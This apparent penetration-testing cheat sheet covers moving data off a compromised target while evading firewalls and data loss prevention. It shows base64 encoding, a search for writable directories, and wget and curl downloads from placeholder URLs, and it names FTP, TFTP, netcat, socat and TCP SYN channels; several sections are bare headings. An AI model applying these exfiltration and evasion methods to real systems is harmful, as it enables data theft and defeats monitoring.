Data Exfiltration

The first step to exfiltration is to avoid being caught. This means avoiding firewalls, data loss prevention, email filters, and more. Encoding/encrypting your payload is a good way to do this.

Preparing files for transport

Base64 encode a file

base64 -w0 $file

Base64 decode a file

base64 -d $file

HTTP/HTTPS

One of the easier ways to transfer a file as most devices have web access. Start by finding a directory on the target that you can write to.

# find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \;
# wget http://<url> -O url.txt -o /dev/null

Curl has the benefit of being able to transfer with IMAP, POP3, SCP, SFTP, SMB, SMTP, TELNET, TFTP< and other protocols. Experimentation may be needed to figure out what is blocked/allowed by the firewall.

# curl -o file.txt http://url.com

Scripted HTTP Servers

SimpleHTTPServerWithUpload

FTP

Python FTP server

You can also use the pyftplib module to quickly and easily set up ftp

TFTP

Install the TFTP client

Download with TFTP

Upload with TFTP

SCP

SCP tranfsers files through SSH See SCP section for more.

NetCat from target

Python HTTP server script

Other Programs

Socat

sudo is necessary if the port is under 1024. fork allows for multiple connections.

Data exfiltration using TCP SYN

We can use TCP SYN sequence number packets to exfiltrate data using the syn-file tool.

Resources

If you like this content and would like to see more, please consider buying me a coffee!

Last updated